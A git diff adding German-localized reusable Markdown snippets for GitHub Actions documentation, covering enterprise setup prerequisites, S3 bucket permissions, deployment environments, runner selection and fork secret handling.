+++ b/translations/de-DE/data/reusables/actions/enabled-actions-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ab6a2179820f4517ec815e953fa1194be97f5a31
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146180823"
+---
+Wenn du {% data variables.product.prodname_actions %} aktivierst, können Workflows Aktionen {% ifversion actions-workflow-policy %}und wiederverwendbare Workflows{% endif %} in deinem Repository und anderen{% ifversion fpt %} öffentlichen{% elsif ghec or ghes %} öffentlichen oder internen{% elsif ghae %} internen{% endif %} Repositorys ausführen.
diff --git a/translations/de-DE/data/reusables/actions/enterprise-billing-details.md b/translations/de-DE/data/reusables/actions/enterprise-billing-details.md
new file mode 100644
index 0000000000..9a2b4cf56b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-billing-details.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7225a47ca72ae087fe5752481fea8ee402a3baab
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103871"
+---
+Die Nutzung umfasst die Gesamtminuten, die von jeder Organisation verwendet werden. Die kombinierte Zusammenfassung für {% data variables.product.prodname_actions %} und {% data variables.product.prodname_registry %} enthält keine Minuten, bezahlten Minuten oder eine Preisschätzung pro GB Speicherplatz.
diff --git a/translations/de-DE/data/reusables/actions/enterprise-common-prereqs.md b/translations/de-DE/data/reusables/actions/enterprise-common-prereqs.md
new file mode 100644
index 0000000000..b0541a2c44
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-common-prereqs.md
@@ -0,0 +1,9 @@
+* Review the hardware requirements for {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)."
+* TLS must be configured for {% data variables.location.product_location %}'s domain. For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)."
+
+  {% note %}
+  
+  **Note:** {% data reusables.actions.enterprise-self-signed-cert %}
+
+  {% endnote %}
+* {% data reusables.actions.enterprise-http-proxy %}
diff --git a/translations/de-DE/data/reusables/actions/enterprise-enable-checkbox.md b/translations/de-DE/data/reusables/actions/enterprise-enable-checkbox.md
new file mode 100644
index 0000000000..bef9884a61
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-enable-checkbox.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 808b30516f45b21365ef4e2d3118de590fcce815
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103856"
+---
+1. Wähle **Enable GitHub Actions** (GitHub Actions aktivieren).
+  ![Kontrollkästchen zum Aktivieren von GitHub Actions](/assets/images/enterprise/management-console/enable-github-actions.png)
diff --git a/translations/de-DE/data/reusables/actions/enterprise-github-hosted-runners.md b/translations/de-DE/data/reusables/actions/enterprise-github-hosted-runners.md
new file mode 100644
index 0000000000..8ab0cffbdf
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-github-hosted-runners.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: b3d9210e3fc47da50d4044ffb2c26f8da3ea0fcc
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879180"
+---
+{% ifversion ghes %} {% note %}
+
+**Hinweis:** {% data variables.product.prodname_dotcom %}-gehostete Runner werden auf {% data variables.product.prodname_ghe_server %} derzeit nicht unterstützt. Weitere Informationen zur geplanten zukünftigen Unterstützung findest Du in der [{% data variables.product.prodname_roadmap %}](https://github.com/github/roadmap/issues/72).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/enterprise-http-proxy.md b/translations/de-DE/data/reusables/actions/enterprise-http-proxy.md
new file mode 100644
index 0000000000..ca3a57e4dd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-http-proxy.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 4efb2b0e214ee93dc8815055b005e11ea29534bb
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107677"
+---
+Wenn du einen **HTTP-Proxyserver** auf {% data variables.location.product_location %} konfiguriert hast:
+
+  - Du musst der **HTTP-Proxyausschluss**-Liste `localhost` und `127.0.0.1` hinzufügen.
+  - Wenn dein externer Speicherort nicht routingfähig ist, musst du der Ausschlussliste auch die URL zu deinem externen Speicher hinzufügen.
+
+  Weitere Informationen zum Ändern der Proxyeinstellungen findest du unter [Konfigurieren eines ausgehenden Webproxyservers](/admin/configuration/configuring-an-outbound-web-proxy-server).
diff --git a/translations/de-DE/data/reusables/actions/enterprise-limit-actions-use.md b/translations/de-DE/data/reusables/actions/enterprise-limit-actions-use.md
new file mode 100644
index 0000000000..459e350992
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-limit-actions-use.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 57dd592642779d4f83f93d25fb6cc1c6a54d51e1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103843"
+---
+Nachdem du {% data variables.product.prodname_github_connect %} aktiviert hast, kannst du anhand von Richtlinien einschränken, welche öffentlichen Aktionen in Repositorys in deinem Unternehmen verwendet werden können. Weitere Informationen findest du unter [Erzwingen von GitHub Actions-Richtlinien in deinem Unternehmen](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise).
diff --git a/translations/de-DE/data/reusables/actions/enterprise-marketplace-actions.md b/translations/de-DE/data/reusables/actions/enterprise-marketplace-actions.md
new file mode 100644
index 0000000000..44dd8a398e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-marketplace-actions.md
@@ -0,0 +1,9 @@
+{% ifversion ghes %}
+
+{% note %}
+
+**Note:** {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} may have limited access to actions on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.product.prodname_marketplace %}. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/enterprise-no-internet-actions.md b/translations/de-DE/data/reusables/actions/enterprise-no-internet-actions.md
new file mode 100644
index 0000000000..d02ab0777c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-no-internet-actions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d52f95a3da9d308e4820a8d9d06e895238d0dba5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879477"
+---
+{% data variables.product.prodname_actions %} auf {% data variables.product.product_name %} sind für die Arbeit in Umgebungen ohne vollständigen Internetzugriff konzipiert. Standardmäßig können Workflows keine Aktionen aus {% data variables.product.prodname_dotcom_the_website %} und [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) verwenden.
diff --git a/translations/de-DE/data/reusables/actions/enterprise-postinstall-nextsteps.md b/translations/de-DE/data/reusables/actions/enterprise-postinstall-nextsteps.md
new file mode 100644
index 0000000000..f241306500
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-postinstall-nextsteps.md
@@ -0,0 +1,3 @@
+### Next steps
+
+After the configuration run has successfully completed, {% data variables.product.prodname_actions %} will be enabled on {% data variables.location.product_location %}. For your next steps, such as managing {% data variables.product.prodname_actions %} access permissions and adding self-hosted runners, return to "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)."
diff --git a/translations/de-DE/data/reusables/actions/enterprise-s3-permission.md b/translations/de-DE/data/reusables/actions/enterprise-s3-permission.md
new file mode 100644
index 0000000000..5d93689331
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-s3-permission.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: b8320e8e835d0ed7522b63b7632f1704d7cf32fc
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880244"
+---
+{% data variables.product.prodname_actions %} erfordert die folgenden Berechtigungen für den Zugriffsschlüssel, der auf den Bucket zugreift:
+
+* `s3:PutObject`
+* `s3:GetObject`
+* `s3:ListBucketMultipartUploads`
+* `s3:ListMultipartUploadParts`
+* `s3:AbortMultipartUpload`
+* `s3:DeleteObject`
+* `s3:ListBucket`
+* `kms:GenerateDataKey`(wenn die Verschlüsselung mit dem Schlüsselverwaltungsdienst (Key Management Service, KMS) aktiviert wurde)
+
diff --git a/translations/de-DE/data/reusables/actions/enterprise-s3-tech-partners.md b/translations/de-DE/data/reusables/actions/enterprise-s3-tech-partners.md
new file mode 100644
index 0000000000..739dfa2a15
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-s3-tech-partners.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 9c9491e480303bcc5403e9ba5e613bb0233de692
+ms.sourcegitcommit: 8f7c8d52755cc3af0f366cc74c6db9e9be4d2ecd
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: "148132664"
+---
+Es gibt andere S3-API-kompatible Speicherprodukte, für die sich {% data variables.product.prodname_dotcom %}-Partner selbst validiert haben, wenn sie mit {% data variables.product.prodname_actions %} auf {% data variables.product.prodname_ghe_server %} arbeiten. Weitere Informationen findest du im Repository für [GHES-Speicherpartner](https://github.com/github-technology-partners/ghes-storage-partners).
+
+Für Speicherprodukte, die über das {% data variables.product.prodname_dotcom %}-Technologiepartnerschaftprogramm validiert wurden, ist der Speicheranbieter für den Support und die Dokumentation für die Verwendung des Speicherprodukts mit {% data variables.product.prodname_actions %} verantwortlich.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/actions/enterprise-self-signed-cert.md b/translations/de-DE/data/reusables/actions/enterprise-self-signed-cert.md
new file mode 100644
index 0000000000..db5b089ab0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-self-signed-cert.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6ab10458d3f6e8a91b6f21476d5350e6fe728479
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103828"
+---
+Es wird dringend empfohlen, TLS für {% data variables.product.prodname_ghe_server %} mit einem Zertifikat zu konfigurieren, das von einem vertrauenswürdigen Aussteller signiert ist. Ein selbst signiertes Zertifikat kann zwar funktionieren, erfordert jedoch zusätzliche Konfiguration für deine selbstgehosteten Runner und wird für Produktionsumgebungen nicht empfohlen.
diff --git a/translations/de-DE/data/reusables/actions/enterprise-setup-prereq.md b/translations/de-DE/data/reusables/actions/enterprise-setup-prereq.md
new file mode 100644
index 0000000000..b9ccac54a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-setup-prereq.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 96d8c710c36e57c753d2fd4d45613f0e4152292f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103819"
+---
+{% ifversion ghes %}
+
+### Verwendung von selbstgehosteten Runnern auf {% data variables.product.prodname_ghe_server %}
+
+Wenn du Setup-Aktionen (wie z.B.`actions/setup-LANGUAGE`) auf {% data variables.product.prodname_ghe_server %} mit selbstgehosteten Runnern verwendest, musst du möglicherweise den Tools-Cache auf Runnern einrichten, die keinen Internetzugang haben. Weitere Informationen findest du unter [Einrichten des Toolcaches auf selbst gehosteten Runnern ohne Internetzugriff](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access).
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/enterprise-storage-ha-backups.md b/translations/de-DE/data/reusables/actions/enterprise-storage-ha-backups.md
new file mode 100644
index 0000000000..b73342a4df
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enterprise-storage-ha-backups.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3b7f24930d60e05c5e2b42cf7610a2b4efe70a14
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109772"
+---
+{% data variables.product.prodname_actions %} verwendet externen Speicher zum Speichern von Workflowartefakten und Protokollen. Diese Daten werden bei deinem externen Anbieter gespeichert, z. B. Azure Blob Storage, Amazon S3{% ifversion actions-ghes-gcp-storage %}, Google Cloud Storage{% endif %} oder MinIO. Folglich werden die in einem externen Speicher gespeicherten Daten nicht durch {% data variables.product.prodname_ghe_server %}-Sicherungen und {% data variables.product.prodname_ghe_server %}-Hochverfügbarkeitskonfigurationen geschützt, sondern hängen stattdessen von der Datensicherung und -replikation des externen Speicheranbieters wie Azure{% ifversion actions-ghes-gcp-storage %}, Google Cloud{% endif %} oder AWS ab.
diff --git a/translations/de-DE/data/reusables/actions/environment-deployment-event.md b/translations/de-DE/data/reusables/actions/environment-deployment-event.md
new file mode 100644
index 0000000000..aa16e63a8d
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/environment-deployment-event.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5a6618e9b13483c7d3c647a8cb5d635225e59280
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103804"
+---
+Wenn ein Workflowauftrag, der auf eine Umgebung verweist, erstellt er ein Bereitstellungsobjekt mit der Eigenschaft `environment`, die auf den Namen Deiner Umgebung festgelegt ist. Im Verlauf des Workflows werden außerdem Bereitstellungsstatusobjekte erstellt, deren Eigenschaft `environment` auf den Namen Deiner Umgebung, deren Eigenschaft `environment_url` auf die URL der Umgebung (falls im Workflow angegeben) und deren Eigenschaft `state` auf den Status des Auftrags gesetzt ist.
diff --git a/translations/de-DE/data/reusables/actions/environment-example.md b/translations/de-DE/data/reusables/actions/environment-example.md
new file mode 100644
index 0000000000..0621a844e4
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/environment-example.md
@@ -0,0 +1,53 @@
+---
+ms.openlocfilehash: 4795fdc557dbb103d64f7b97d0fa58f445434bca
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103803"
+---
+Du kannst eine Umgebung für jeden Auftrag in deinem Workflow angeben. Füge dazu einen `jobs.<job_id>.environment`-Schlüssel hinzu, gefolgt vom Namen der Umgebung.
+
+Dieser Workflow verwendet beispielsweise eine Umgebung namens `production`.
+
+```yaml
+name: Deployment
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  deployment:
+    runs-on: ubuntu-latest
+    environment: production
+    steps:
+      - name: deploy
+        # ...deployment-specific steps
+```
+
+Wenn der obige Workflow ausgeführt wird, unterliegt der `deployment`-Auftrag allen Regeln, die für die `production`-Umgebung konfiguriert sind. Wenn beispielsweise die Umgebung Prüfer erfordert, wird der Auftrag angehalten, bis einer der Prüfer den Auftrag genehmigt.
+
+Du kannst auch eine URL für die Umgebung angeben. Die angegebene URL wird auf der Seite „Bereitstellungen“ für das Repository angezeigt (Zugriff erfolgt durch Klicken auf **Umgebungen** auf der Homepage deines Repositorys) und im Visualisierungsdiagramm für die Workflowausführung. Wenn ein Pull Request den Workflow ausgelöst hat, wird die URL auch als Schaltfläche **Bereitstellung anzeigen** in der Pull Request-Zeitachse angezeigt.
+
+```yaml
+name: Deployment
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  deployment:
+    runs-on: ubuntu-latest
+    environment: 
+      name: production
+      url: https://github.com
+    steps:
+      - name: deploy
+        # ...deployment-specific steps
+```
+
+![Workflowdiagramm mit URL](/assets/images/help/images/deploy-graph.png)
diff --git a/translations/de-DE/data/reusables/actions/example-diagram-intro.md b/translations/de-DE/data/reusables/actions/example-diagram-intro.md
new file mode 100644
index 0000000000..2e4e2447cf
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/example-diagram-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a3da5257bd4e479a7dcedc968cc1bf9015a5bde9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147063426"
+---
+Das folgende Diagramm zeigt die allgemeinen Schritte im Workflow und wie sie im Auftrag ausgeführt werden:
diff --git a/translations/de-DE/data/reusables/actions/example-docs-engineering-intro.md b/translations/de-DE/data/reusables/actions/example-docs-engineering-intro.md
new file mode 100644
index 0000000000..375296f207
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/example-docs-engineering-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f64c59c12438fde0512ec2ecb7befc51f53dbd6e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883513"
+---
+Der folgende Workflow wurde von dem Docs Engineering-Team für {% data variables.product.prodname_dotcom %} erstellt. Um die neueste Version dieser Datei im Repository [`github/docs`](https://github.com/github/docs) zu überprüfen, siehe 
diff --git a/translations/de-DE/data/reusables/actions/example-explanation-table-intro.md b/translations/de-DE/data/reusables/actions/example-explanation-table-intro.md
new file mode 100644
index 0000000000..d52b534739
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/example-explanation-table-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4043cca06a58b3ec584c7ca0b3d2385d540faa23
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067690"
+---
+In der folgenden Tabelle wird erläutert, wie jedes dieser Features beim Erstellen eines {% data variables.product.prodname_actions %}-Workflows verwendet wird.
diff --git a/translations/de-DE/data/reusables/actions/example-github-runner.md b/translations/de-DE/data/reusables/actions/example-github-runner.md
new file mode 100644
index 0000000000..f916cf0ce8
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/example-github-runner.md
@@ -0,0 +1,27 @@
+---
+ms.openlocfilehash: 714bd89ad6e55900871cc7622d922495b8c09a9d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103800"
+---
+### Ausführen auf einem anderen Betriebssystem
+
+Die Vorlage zum Starter-Workflow konfiguriert Aufträge zur Ausführung unter Linux und verwendet mit {% data variables.product.prodname_dotcom %} gehostete `ubuntu-latest`-Runner. Du kannst den `runs-on`-Schlüssel ändern, um deine Aufträge auf einem anderen Betriebssystem auszuführen. Beispielsweise kannst Du die {% data variables.product.prodname_dotcom %}-gehosteten Windows-Läufer verwenden.
+
+{% raw %}
+```yaml
+runs-on: windows-latest
+```
+{% endraw %}
+
+Oder Du kannst auf den {% data variables.product.prodname_dotcom %}-gehosteten macOS-Läufern laufen.
+
+{% raw %}
+```yaml
+runs-on: macos-latest
+```
+{% endraw %}
+
+Du kannst Aufträge auch in Docker-Containern ausführen oder einen selbst gehosteten Läufer bereitstellen, der auf Deiner eigenen Infrastruktur läuft. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on).
diff --git a/translations/de-DE/data/reusables/actions/example-table-intro.md b/translations/de-DE/data/reusables/actions/example-table-intro.md
new file mode 100644
index 0000000000..b8708f5aa2
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/example-table-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8ffe50010748096a7557c44d2297dc9db28cabf2
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880236"
+---
+Der Beispielworkflow veranschaulicht die folgenden Möglichkeiten von {% data variables.product.prodname_actions %}:
diff --git a/translations/de-DE/data/reusables/actions/example-workflow-intro-ci.md b/translations/de-DE/data/reusables/actions/example-workflow-intro-ci.md
new file mode 100644
index 0000000000..49ccdb2182
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/example-workflow-intro-ci.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b9f0d23383c35852de4951d87ffe9d0e6cb768c0
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147061562"
+---
+In diesem Artikel werden anhand eines Beispielworkflows einige der wichtigsten CI-Features von {% data variables.product.prodname_actions %} vorgestellt. 
diff --git a/translations/de-DE/data/reusables/actions/explanation-name-key.md b/translations/de-DE/data/reusables/actions/explanation-name-key.md
new file mode 100644
index 0000000000..61b5bb252e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/explanation-name-key.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c246b1df8b1b67748cc70e9e43197d6cf902e3be
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147066090"
+---
+Der Name des Workflows, der auf der Registerkarte „Aktionen“ im {% data variables.product.prodname_dotcom %}-Repository angezeigt wird.
diff --git a/translations/de-DE/data/reusables/actions/expression-syntax-if.md b/translations/de-DE/data/reusables/actions/expression-syntax-if.md
new file mode 100644
index 0000000000..7c79154f49
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/expression-syntax-if.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0034b58c982ba86286016653cfabda4d79178919
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103796"
+---
+Wenn du Ausdrücke in einer `if`-Bedingung verwendest, kannst du die Syntax des Ausdrucks ({% raw %}`${{ }}`{% endraw %}) weglassen, weil {% data variables.product.prodname_dotcom %} automatisch die `if`-Bedingung als Ausdruck wertet.
diff --git a/translations/de-DE/data/reusables/actions/forked-secrets.md b/translations/de-DE/data/reusables/actions/forked-secrets.md
new file mode 100644
index 0000000000..3e43d9342f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/forked-secrets.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 441ab5e490c9420f57c6c1661e31f840c5d2c86c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089595"
+---
+Mit Ausnahme von `GITHUB_TOKEN` werden Geheimnisse nicht an den Runner übergeben, wenn ein Workflow von einem geforkten Repository aus ausgelöst wird.
diff --git a/translations/de-DE/data/reusables/actions/forked-write-permission.md b/translations/de-DE/data/reusables/actions/forked-write-permission.md
new file mode 100644
index 0000000000..306dbb7c23
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/forked-write-permission.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d89d8c457c6d88a0a43231c3603d93ff2f246f5c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103795"
+---
+Darüber hinaus kannst du den `permissions`-Schlüssel verwenden, um Leseberechtigungen für geforkte Repositorys hinzuzufügen oder zu entfernen, aber in der Regel kannst du keinen Schreibzugriff gewähren. Eine Ausnahme für dieses Verhalten besteht dann, wenn ein Administratorbenutzer die Option **Schreibtoken an Workflows aus Pull Requests senden** in den {% data variables.product.prodname_actions %}-Einstellungen ausgewählt hat. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks).
diff --git a/translations/de-DE/data/reusables/actions/general-security-hardening.md b/translations/de-DE/data/reusables/actions/general-security-hardening.md
new file mode 100644
index 0000000000..9251f87d8a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/general-security-hardening.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 608a6128ab1bdce7bda7a09b7940ec1ab0756197
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103791"
+---
+## Allgemeine Sicherheitshärtung für {% data variables.product.prodname_actions %} 
+
+Weitere Informationen zu Sicherheitsmethoden für {% data variables.product.prodname_actions %} findest du unter [Sicherheitshärtung für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/security-hardening-for-github-actions).
diff --git a/translations/de-DE/data/reusables/actions/ghes-actions-not-enabled-by-default.md b/translations/de-DE/data/reusables/actions/ghes-actions-not-enabled-by-default.md
new file mode 100644
index 0000000000..856449124b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/ghes-actions-not-enabled-by-default.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0cbd692a38e0396d6062d915ce16fbba46e40191
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067098"
+---
+{% data variables.product.prodname_actions %} ist standardmäßig für {% data variables.product.prodname_ghe_server %} nicht aktiviert.
diff --git a/translations/de-DE/data/reusables/actions/github-connect-resolution.md b/translations/de-DE/data/reusables/actions/github-connect-resolution.md
new file mode 100644
index 0000000000..54fa9eebde
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-connect-resolution.md
@@ -0,0 +1 @@
+When a workflow uses an action by referencing the repository where the action is stored, {% data variables.product.prodname_actions %} will first try to find the repository on {% data variables.location.product_location %}. If the repository does not exist on {% data variables.location.product_location %}, and if you have automatic access to {% data variables.product.prodname_dotcom_the_website %} enabled, {% data variables.product.prodname_actions %} will try to find the repository on {% data variables.product.prodname_dotcom_the_website %}.
diff --git a/translations/de-DE/data/reusables/actions/github-context-warning.md b/translations/de-DE/data/reusables/actions/github-context-warning.md
new file mode 100644
index 0000000000..d091cf427e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-context-warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: dff5faec5e8edcfdaecc213bf7831633ac5ce0f6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881131"
+---
+{% warning %}
+
+**Warnung**: Achte bei der Verwendung des gesamten `github`-Kontexts darauf, dass darin vertrauliche Informationen wie `github.token` enthalten sind. {% data variables.product.prodname_dotcom %} maskiert Geheimnisse, wenn sie auf die Konsole ausgegeben werden, aber du solltest beim Exportieren oder Drucken des Kontexts vorsichtig sein.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/actions/github-hosted-runners-check-concurrency.md b/translations/de-DE/data/reusables/actions/github-hosted-runners-check-concurrency.md
new file mode 100644
index 0000000000..a1612e3020
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/github-hosted-runners-check-concurrency.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 99687deb5c170a7fab2b5050607b25e1aebb844b
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068265"
+---
+Um etwaige Einschränkungen bei Parallelität oder Queuing zu ermitteln, kannst du überprüfen, wie viele Aufträge derzeit auf den von {% data variables.product.prodname_dotcom %} gehosteten Runnern in deiner Organisation oder deinem Unternehmen verarbeitet werden. 
+
